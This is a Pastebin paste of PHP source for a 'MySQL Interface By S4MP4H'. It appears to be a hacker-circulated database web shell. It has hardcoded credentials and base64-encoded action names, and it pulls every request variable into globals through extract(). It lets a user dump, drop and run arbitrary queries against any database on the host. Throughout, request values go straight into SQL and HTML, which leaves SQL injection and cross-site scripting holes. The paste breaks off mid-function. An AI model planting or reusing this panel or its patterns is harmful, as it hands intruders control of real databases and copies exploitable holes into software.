Advertisement
lastc0de

mysql

Jul 14th, 2013
356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.55 KB | None | 0 0
  1. <?
  2. $PASSWORD = "root_xhahax";
  3. $USERNAME = "xhahax";
  4. if ( function_exists('ini_get') ) {
  5. $onoff = ini_get('register_globals');
  6. } else {
  7. $onoff = get_cfg_var('register_globals');
  8. }
  9. if ($onoff != 1) {
  10. @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  11. @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  12. @extract($HTTP_POST_FILES, EXTR_SKIP);
  13. @extract($HTTP_POST_VARS, EXTR_SKIP);
  14. @extract($HTTP_GET_VARS, EXTR_SKIP);
  15. @extract($HTTP_ENV_VARS, EXTR_SKIP);
  16. }
  17.  
  18. function logon() {
  19. global $PHP_SELF;
  20. setcookie( "mysql_web_admin_username" );
  21. setcookie( "mysql_web_admin_password" );
  22. setcookie( "mysql_web_admin_hostname" );
  23. echo "<table width=100% height=100%><tr><td><center>\n";
  24. echo "<table cellpadding=2><tr><td><center>\n";
  25. echo "<table cellpadding=20><tr><td><center>\n";
  26. echo "<h1>MySQL Interface By S4MP4H</h1>\n";
  27. echo "<form action='$PHP_SELF'>\n";
  28. echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>\n";
  29. echo "<table cellpadding=5 cellspacing=1>\n";
  30. echo "<tr><td class=\"new\">Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  31. echo "<tr><td class=\"new\">Username </td><td> <input type=text name=username></td></tr>\n";
  32. echo "<tr><td class=\"new\">Password </td><td> <input type=password name=password></td></tr>\n";
  33. echo "</table><p>\n";
  34. echo "<input type=submit value='Enter'>\n";
  35. echo "<input type=reset value='Clear'><br>\n";
  36. echo "</form>\n";
  37. echo "</center></td></tr></table>\n";
  38. echo "</center></td></tr></table>\n";
  39. echo "<p><hr width=300>\n";
  40. echo "</center></td></tr></table>\n";
  41. }
  42.  
  43. function logon_submit() {
  44. global $username, $password, $hostname ,$PHP_SELF;
  45. if($hostname =='')
  46. $hostname = 'localhost';
  47. setcookie( "mysql_web_admin_username", $username );
  48. setcookie( "mysql_web_admin_password", $password );
  49. setcookie( "mysql_web_admin_hostname", $hostname );
  50. echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=bGlzdERCcw=='>";
  51. }
  52.  
  53. function echoQueryResult() {
  54. global $queryStr, $errMsg;
  55. if( $errMsg == "" ) $errMsg = "Success";
  56. if( $queryStr != "" ) {
  57. echo "<table cellpadding=5>\n";
  58. echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  59. echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  60. echo "</table><p>\n";
  61. }
  62. }
  63.  
  64. function listDatabases() {
  65. global $mysqlHandle, $PHP_SELF;
  66. echo "<h1>Databases List</h1>\n";
  67. echo "<form action='$PHP_SELF'>\n";
  68. echo "<input type=hidden name=action value=createDB>\n";
  69. echo "<input type=text name=dbname>\n";
  70. echo "<input type=submit value='Create Database'>\n";
  71. echo "</form>\n";
  72. echo "<hr>\n";
  73. echo "<table cellspacing=1 cellpadding=5>\n";
  74. $pDB = mysql_list_dbs( $mysqlHandle );
  75. $num = mysql_num_rows( $pDB );
  76. for( $i = 0; $i < $num; $i++ ) {
  77. $dbname = mysql_dbname( $pDB, $i );
  78. echo "<tr>\n";
  79. echo "<td>$dbname</td>\n";
  80. echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  81. echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  82. echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  83. echo "</tr>\n";
  84. }
  85. echo "</table>\n";
  86. }
  87.  
  88. function createDatabase() {
  89. global $mysqlHandle, $dbname, $PHP_SELF;
  90. mysql_create_db( $dbname, $mysqlHandle );
  91. listDatabases();
  92. }
  93.  
  94. function dropDatabase() {
  95. global $mysqlHandle, $dbname, $PHP_SELF;
  96. mysql_drop_db( $dbname, $mysqlHandle );
  97. listDatabases();
  98. }
  99.  
  100. function listTables() {
  101. global $mysqlHandle, $dbname, $PHP_SELF;
  102. echo "<h1>Tables List</h1>\n";
  103. echo "<p class=location>$dbname</p>\n";
  104. echoQueryResult();
  105. echo "<form action='$PHP_SELF'>\n";
  106. echo "<input type=hidden name=action value=createTable>\n";
  107. echo "<input type=hidden name=dbname value=$dbname>\n";
  108. echo "<input type=text name=tablename>\n";
  109. echo "<input type=submit value='Create Table'>\n";
  110. echo "</form>\n";
  111. echo "<form action='$PHP_SELF'>\n";
  112. echo "<input type=hidden name=action value=query>\n";
  113. echo "<input type=hidden name=dbname value=$dbname>\n";
  114. echo "<input type=text size=120 name=queryStr>\n";
  115. echo "<input type=submit value='Query'>\n";
  116. echo "</form>\n";
  117. echo "<hr>\n";
  118. $pTable = mysql_list_tables( $dbname );
  119. if( $pTable == 0 ) {
  120. $msg = mysql_error();
  121. echo "<h3>Error : $msg</h3><p>\n";
  122. return;
  123. }
  124. $num = mysql_num_rows( $pTable );
  125. echo "<table cellspacing=1 cellpadding=5>\n";
  126. for( $i = 0; $i < $num; $i++ ) {
  127. $tablename = mysql_tablename( $pTable, $i );
  128. echo "<tr>\n";
  129. echo "<td>\n";
  130. echo "$tablename\n";
  131. echo "</td>\n";
  132. echo "<td>\n";
  133. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  134. echo "</td>\n";
  135. echo "<td>\n";
  136. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  137. echo "</td>\n";
  138. echo "<td>\n";
  139. echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  140. echo "</td>\n";
  141. echo "<td>\n";
  142. echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  143. echo "</td>\n";
  144. echo "</tr>\n";
  145. }
  146. echo "</table>";
  147. }
  148.  
  149. function createTable() {
  150.  
  151. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  152. $queryStr = "CREATE TABLE $tablename ( no INT )";
  153. mysql_select_db( $dbname, $mysqlHandle );
  154. mysql_query( $queryStr, $mysqlHandle );
  155. $errMsg = mysql_error();
  156. listTables();
  157. }
  158.  
  159. function dropTable() {
  160. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  161. $queryStr = "DROP TABLE $tablename";
  162. mysql_select_db( $dbname, $mysqlHandle );
  163. mysql_query( $queryStr, $mysqlHandle );
  164. $errMsg = mysql_error();
  165. listTables();
  166. }
  167.  
  168. function viewSchema() {
  169. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  170. echo "<h1>Table Schema</h1>\n";
  171. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  172. echoQueryResult();
  173. echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  174. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  175. echo "<hr>\n";
  176. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  177. $num = mysql_num_rows( $pResult );
  178. echo "<table cellspacing=1 cellpadding=5>\n";
  179. echo "<tr>\n";
  180. echo "<th>Field</th>\n";
  181. echo "<th>Type</th>\n";
  182. echo "<th>Null</th>\n";
  183. echo "<th>Key</th>\n";
  184. echo "<th>Default</th>\n";
  185. echo "<th>Extra</th>\n";
  186. echo "<th colspan=2>Action</th>\n";
  187. echo "</tr>\n";
  188.  
  189. for( $i = 0; $i < $num; $i++ ) {
  190. $field = mysql_fetch_array( $pResult );
  191. echo "<tr>\n";
  192. echo "<td>".$field["Field"]."</td>\n";
  193. echo "<td>".$field["Type"]."</td>\n";
  194. echo "<td>".$field["Null"]."</td>\n";
  195. echo "<td>".$field["Key"]."</td>\n";
  196. echo "<td>".$field["Default"]."</td>\n";
  197. echo "<td>".$field["Extra"]."</td>\n";
  198. $fieldname = $field["Field"];
  199. echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  200. echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  201. echo "</tr>\n";
  202. }
  203. echo "</table>\n";
  204. }
  205.  
  206. function manageField( $cmd ) {
  207. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  208. if( $cmd == "add" )
  209. echo "<h1>Add Field</h1>\n";
  210. else if( $cmd == "edit" ) {
  211. echo "<h1>Edit Field</h1>\n";
  212. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  213. $num = mysql_num_rows( $pResult );
  214. for( $i = 0; $i < $num; $i++ ) {
  215. $field = mysql_fetch_array( $pResult );
  216. if( $field["Field"] == $fieldname ) {
  217. $fieldtype = $field["Type"];
  218. $fieldkey = $field["Key"];
  219. $fieldextra = $field["Extra"];
  220. $fieldnull = $field["Null"];
  221. $fielddefault = $field["Default"];
  222. break;
  223. }
  224. }
  225.  
  226. $type = strtok( $fieldtype, " (,)\n" );
  227. if( strpos( $fieldtype, "(" ) ) {
  228. if( $type == "enum" | $type == "set" ) {
  229. $valuelist = strtok( " ()\n" );
  230. } else {
  231. $M = strtok( " (,)\n" );
  232. if( strpos( $fieldtype, "," ) )
  233. $D = strtok( " (,)\n" );
  234. }
  235. }
  236. }
  237.  
  238. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  239. echo "<form action=$PHP_SELF>\n";
  240. if( $cmd == "add" )
  241. echo "<input type=hidden name=action value=addField_submit>\n";
  242. else if( $cmd == "edit" ) {
  243. echo "<input type=hidden name=action value=editField_submit>\n";
  244. echo "<input type=hidden name=old_name value=$fieldname>\n";
  245. }
  246. echo "<input type=hidden name=dbname value=$dbname>\n";
  247. echo "<input type=hidden name=tablename value=$tablename>\n";
  248. echo "<h3>Name</h3>\n";
  249. echo "<input type=text name=name value=$fieldname><p>\n";
  250. echo '
  251.  
  252. <h3>Type</h3>
  253. <font size=2 class="new">
  254. * `M\' indicates the maximum display size.<br>
  255. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  256. </font>
  257. <table>
  258. <tr>
  259. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  260. </tr>
  261. <tr>
  262. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  263. <td align=center>O</td>
  264. <td>&nbsp</td>
  265. <td align=center>O</td>
  266. <td align=center>O</td>
  267. <td>&nbsp</td>
  268. </tr>
  269. <tr>
  270. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  271. <td align=center>O</td>
  272. <td>&nbsp</td>
  273. <td align=center>O</td>
  274. <td align=center>O</td>
  275. <td>&nbsp</td>
  276. </tr>
  277. <tr>
  278. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  279. <td align=center>O</td>
  280. <td>&nbsp</td>
  281. <td align=center>O</td>
  282. <td align=center>O</td>
  283. <td>&nbsp</td>
  284. </tr>
  285. <tr>
  286. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  287. <td align=center>O</td>
  288. <td>&nbsp</td>
  289. <td align=center>O</td>
  290. <td align=center>O</td>
  291. <td>&nbsp</td>
  292. </tr>
  293. <tr>
  294. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  295. <td align=center>O</td>
  296. <td>&nbsp</td>
  297. <td align=center>O</td>
  298. <td align=center>O</td>
  299. <td>&nbsp</td>
  300. </tr>
  301. <tr>
  302. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  303. <td align=center>O</td>
  304. <td align=center>O</td>
  305. <td>&nbsp</td>
  306. <td align=center>O</td>
  307. <td>&nbsp</td>
  308. </tr>
  309. <tr>
  310. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  311. <td align=center>O</td>
  312. <td align=center>O</td>
  313. <td>&nbsp</td>
  314. <td align=center>O</td>
  315. <td>&nbsp</td>
  316. </tr>
  317. <tr>
  318. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  319. <td align=center>O</td>
  320. <td align=center>O</td>
  321. <td>&nbsp</td>
  322. <td align=center>O</td>
  323. <td>&nbsp</td>
  324. </tr>
  325. <tr>
  326. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  327. <td>&nbsp</td>
  328. <td>&nbsp</td>
  329. <td>&nbsp</td>
  330. <td>&nbsp</td>
  331. <td>&nbsp</td>
  332. </tr>
  333. <tr>
  334. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  335. <td>&nbsp</td>
  336. <td>&nbsp</td>
  337. <td>&nbsp</td>
  338. <td>&nbsp</td>
  339. <td>&nbsp</td>
  340. </tr>
  341. <tr>
  342. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  343. <td align=center>O</td>
  344. <td>&nbsp</td>
  345. <td>&nbsp</td>
  346. <td>&nbsp</td>
  347. <td>&nbsp</td>
  348. </tr>
  349. <tr>
  350. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  351. <td>&nbsp</td>
  352. <td>&nbsp</td>
  353. <td>&nbsp</td>
  354. <td>&nbsp</td>
  355. <td>&nbsp</td>
  356. </tr>
  357. <tr>
  358. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  359. <td>&nbsp</td>
  360. <td>&nbsp</td>
  361. <td>&nbsp</td>
  362. <td>&nbsp</td>
  363. <td>&nbsp</td>
  364. </tr>
  365. <tr>
  366. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  367. <td align=center>O</td>
  368. <td>&nbsp</td>
  369. <td>&nbsp</td>
  370. <td>&nbsp</td>
  371. <td align=center>O</td>
  372. </tr>
  373. <tr>
  374. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  375. <td align=center>O</td>
  376. <td>&nbsp</td>
  377. <td>&nbsp</td>
  378. <td>&nbsp</td>
  379. <td align=center>O</td>
  380. </tr>
  381. <tr>
  382. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  383. <td>&nbsp</td>
  384. <td>&nbsp</td>
  385. <td>&nbsp</td>
  386. <td>&nbsp</td>
  387. <td>&nbsp</td>
  388. </tr>
  389. <tr>
  390. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  391. <td>&nbsp</td>
  392. <td>&nbsp</td>
  393. <td>&nbsp</td>
  394. <td>&nbsp</td>
  395. <td>&nbsp</td>
  396. </tr>
  397. <tr>
  398. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  399. <td>&nbsp</td>
  400. <td>&nbsp</td>
  401. <td>&nbsp</td>
  402. <td>&nbsp</td>
  403. <td>&nbsp</td>
  404. </tr>
  405. <tr>
  406. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  407. <td>&nbsp</td>
  408. <td>&nbsp</td>
  409. <td>&nbsp</td>
  410. <td>&nbsp</td>
  411. <td>&nbsp</td>
  412. </tr>
  413. <tr>
  414. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  415. <td>&nbsp</td>
  416. <td>&nbsp</td>
  417. <td>&nbsp</td>
  418. <td>&nbsp</td>
  419. <td>&nbsp</td>
  420. </tr>
  421. <tr>
  422. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  423. <td>&nbsp</td>
  424. <td>&nbsp</td>
  425. <td>&nbsp</td>
  426. <td>&nbsp</td>
  427. <td>&nbsp</td>
  428. </tr>
  429. <tr>
  430. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  431. <td>&nbsp</td>
  432. <td>&nbsp</td>
  433. <td>&nbsp</td>
  434. <td>&nbsp</td>
  435. <td>&nbsp</td>
  436. </tr>
  437. <tr>
  438. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  439. <td>&nbsp</td>
  440. <td>&nbsp</td>
  441. <td>&nbsp</td>
  442. <td>&nbsp</td>
  443. <td>&nbsp</td>
  444. </tr>
  445. <tr>
  446. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  447. <td colspan=5><center>value list</center></td>
  448. </tr>
  449. <tr>
  450. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  451. <td colspan=5><center>value list</center></td>
  452. </tr>
  453. </table>
  454. <table>
  455. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  456. <tr>
  457. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  458. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  459. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  460. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  461. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" ) ) echo "checked";echo '></td>
  462. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  463. </tr>
  464. </table>
  465. <h3>Flags</h3>
  466. <table>
  467. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  468. <tr>
  469. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  470. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  471. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  472. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  473. </tr>
  474. </table>
  475. <p>';
  476. if( $cmd == "add" )
  477. echo "<input type=submit value='Add Field'>\n";
  478. else if( $cmd == "edit" )
  479. echo "<input type=submit value='Edit Field'>\n";
  480. echo "<input type=button value=Cancel onClick='history.back()'>\n";
  481. echo "</form>\n";
  482. }
  483.  
  484. function manageField_submit( $cmd ) {
  485. global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  486. $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  487. if( $cmd == "add" )
  488. $queryStr = "ALTER TABLE $tablename ADD $name ";
  489. else if( $cmd == "edit" )
  490. $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  491. if( $M != "" )
  492. if( $D != "" )
  493. $queryStr .= "$type($M,$D) ";
  494. else
  495. $queryStr .= "$type($M) ";
  496. else if( $valuelist != "" ) {
  497. $valuelist = stripslashes( $valuelist );
  498. $queryStr .= "$type($valuelist) ";
  499. } else
  500. $queryStr .= "$type ";
  501. $queryStr .= "$unsigned $zerofill $binary ";
  502. if( $default_value != "" )
  503. $queryStr .= "DEFAULT '$default_value' ";
  504. $queryStr .= "$not_null $auto_increment";
  505. mysql_select_db( $dbname, $mysqlHandle );
  506. mysql_query( $queryStr, $mysqlHandle );
  507. $errMsg = mysql_error();
  508. // key change
  509. $keyChange = false;
  510. $result = mysql_query( "SHOW KEYS FROM $tablename" );
  511. $primary = "";
  512. while( $row = mysql_fetch_array($result) )
  513. if( $row["Key_name"] == "PRIMARY" ) {
  514. if( $row[Column_name] == $name )
  515. $keyChange = true;
  516. else
  517. $primary .= ", $row[Column_name]";
  518. }
  519. if( $primary_key == "PRIMARY KEY" ) {
  520. $primary .= ", $name";
  521. $keyChange = !$keyChange;
  522. }
  523. $primary = substr( $primary, 2 );
  524. if( $keyChange == true ) {
  525. $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  526. mysql_query( $q );
  527. $queryStr .= "<br>\n" . $q;
  528. $errMsg .= "<br>\n" . mysql_error();
  529. $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  530. mysql_query( $q );
  531. $queryStr .= "<br>\n" . $q;
  532. $errMsg .= "<br>\n" . mysql_error();
  533. }
  534. viewSchema();
  535. }
  536.  
  537. function dropField() {
  538. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  539. $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  540. mysql_select_db( $dbname, $mysqlHandle );
  541. mysql_query( $queryStr , $mysqlHandle );
  542. $errMsg = mysql_error();
  543. viewSchema();
  544. }
  545.  
  546. function viewData( $queryStr ) {
  547. global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  548. echo "<h1>Data in Table</h1>\n";
  549. if( $tablename != "" )
  550. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  551. else
  552. echo "<p class=location>$dbname</p>\n";
  553. $queryStr = stripslashes( $queryStr );
  554. if( $queryStr == "" ) {
  555. $queryStr = "SELECT * FROM $tablename";
  556. if( $orderby != "" )
  557. $queryStr .= " ORDER BY $orderby";
  558. echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  559. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  560. }
  561. $pResult = mysql_db_query( $dbname, $queryStr );
  562. $fieldt = mysql_fetch_field($pResult);
  563. $tablename = $fieldt->table;
  564. $errMsg = mysql_error();
  565. $GLOBALS[queryStr] = $queryStr;
  566. if( $pResult == false ) {
  567. echoQueryResult();
  568. return;
  569. }
  570. if( $pResult == 1 ) {
  571. $errMsg = "Success";
  572. echoQueryResult();
  573. return;
  574. }
  575. echo "<hr>\n";
  576. $row = mysql_num_rows( $pResult );
  577. $col = mysql_num_fields( $pResult );
  578. if( $row == 0 ) {
  579. echo "No Data Exist!";
  580. return;
  581. }
  582. if( $rowperpage == "" ) $rowperpage = 30;
  583. if( $page == "" ) $page = 0;
  584. else $page--;
  585. mysql_data_seek( $pResult, $page * $rowperpage );
  586. echo "<table cellspacing=1 cellpadding=2>\n";
  587. echo "<tr>\n";
  588. for( $i = 0; $i < $col; $i++ ) {
  589. $field = mysql_fetch_field( $pResult, $i );
  590. echo "<th>";
  591. if($action == "dmlld0RhdGE=")
  592. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  593. else
  594. echo $field->name."\n";
  595. echo "</th>\n";
  596. }
  597. echo "<th colspan=2>Action</th>\n";
  598. echo "</tr>\n";
  599. for( $i = 0; $i < $rowperpage; $i++ ) {
  600. $rowArray = mysql_fetch_row( $pResult );
  601. if( $rowArray == false ) break;
  602. echo "<tr>\n";
  603. $key = "";
  604. for( $j = 0; $j < $col; $j++ ) {
  605. $data = $rowArray[$j];
  606. $field = mysql_fetch_field( $pResult, $j );
  607. if( $field->primary_key == 1 )
  608. $key .= "&" . $field->name . "=" . $data;
  609. if( strlen( $data ) > 30 )
  610. $data = substr( $data, 0, 30 ) . "...";
  611. $data = htmlspecialchars( $data );
  612. echo "<td>\n";
  613. echo "$data\n";
  614. echo "</td>\n";
  615. }
  616. if( $key == "" )
  617. echo "<td colspan=2>no Key</td>\n";
  618. else {
  619. echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  620. echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  621. }
  622. echo "</tr>\n";
  623. }
  624. echo "</table>\n";
  625. echo "<font size=2 class=\"new\">\n";
  626. if($action == "dmlld0RhdGE=")
  627. echo "<form action='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename' method=post>\n";
  628. else
  629. echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  630. echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  631. echo "</font>\n";
  632. echo " | ";
  633. if( $page > 0 ) {
  634. if($action == "dmlld0RhdGE=")
  635. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
  636. else
  637. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  638. if( $orderby != "" && $action == "dmlld0RhdGE=")
  639. echo "&orderby=$orderby";
  640. echo "'>Prev</a>\n";
  641. } else
  642. echo "<font size=2 class=\"new\">Prev</font>";
  643. echo " | ";
  644. if( $page < ($row/$rowperpage)-1 ) {
  645. if($action == "dmlld0RhdGE=")
  646. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
  647. else
  648. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  649. if( $orderby != "" && $action == "dmlld0RhdGE=")
  650. echo "&orderby=$orderby";
  651. echo "'>Next</a>\n";
  652. } else
  653. echo "Next";
  654. echo " | ";
  655. if( $row > $rowperpage ) {
  656. echo "<input type=text size=4 name=page>\n";
  657. echo "<input type=submit value='Go'>\n";
  658. }
  659. echo "</form>\n";
  660. echo "</font>\n";
  661. }
  662.  
  663. function manageData( $cmd ) {
  664. global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  665. if( $cmd == "add" )
  666. echo "<h1>Add Data</h1>\n";
  667. else if( $cmd == "edit" ) {
  668. echo "<h1>Edit Data</h1>\n";
  669. $pResult = mysql_list_fields( $dbname, $tablename );
  670. $num = mysql_num_fields( $pResult );
  671. $key = "";
  672. for( $i = 0; $i < $num; $i++ ) {
  673. $field = mysql_fetch_field( $pResult, $i );
  674. if( $field->primary_key == 1 )
  675. if( $field->numeric == 1 )
  676. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  677. else
  678. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  679. }
  680. $key = substr( $key, 0, strlen($key)-4 );
  681. mysql_select_db( $dbname, $mysqlHandle );
  682. $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  683. $data = mysql_fetch_array( $pResult );
  684. }
  685. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  686. echo "<form action='$PHP_SELF' method=post>\n";
  687. if( $cmd == "add" )
  688. echo "<input type=hidden name=action value=addData_submit>\n";
  689. else if( $cmd == "edit" )
  690. echo "<input type=hidden name=action value=editData_submit>\n";
  691. echo "<input type=hidden name=dbname value=$dbname>\n";
  692. echo "<input type=hidden name=tablename value=$tablename>\n";
  693. echo "<table cellspacing=1 cellpadding=2>\n";
  694. echo "<tr>\n";
  695. echo "<th>Name</th>\n";
  696. echo "<th>Type</th>\n";
  697. echo "<th>Function</th>\n";
  698. echo "<th>Data</th>\n";
  699. echo "</tr>\n";
  700. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  701. $num = mysql_num_rows( $pResult );
  702. $pResultLen = mysql_list_fields( $dbname, $tablename );
  703. for( $i = 0; $i < $num; $i++ ) {
  704. $field = mysql_fetch_array( $pResult );
  705. $fieldname = $field["Field"];
  706. $fieldtype = $field["Type"];
  707. $len = mysql_field_len( $pResultLen, $i );
  708. echo "<tr>";
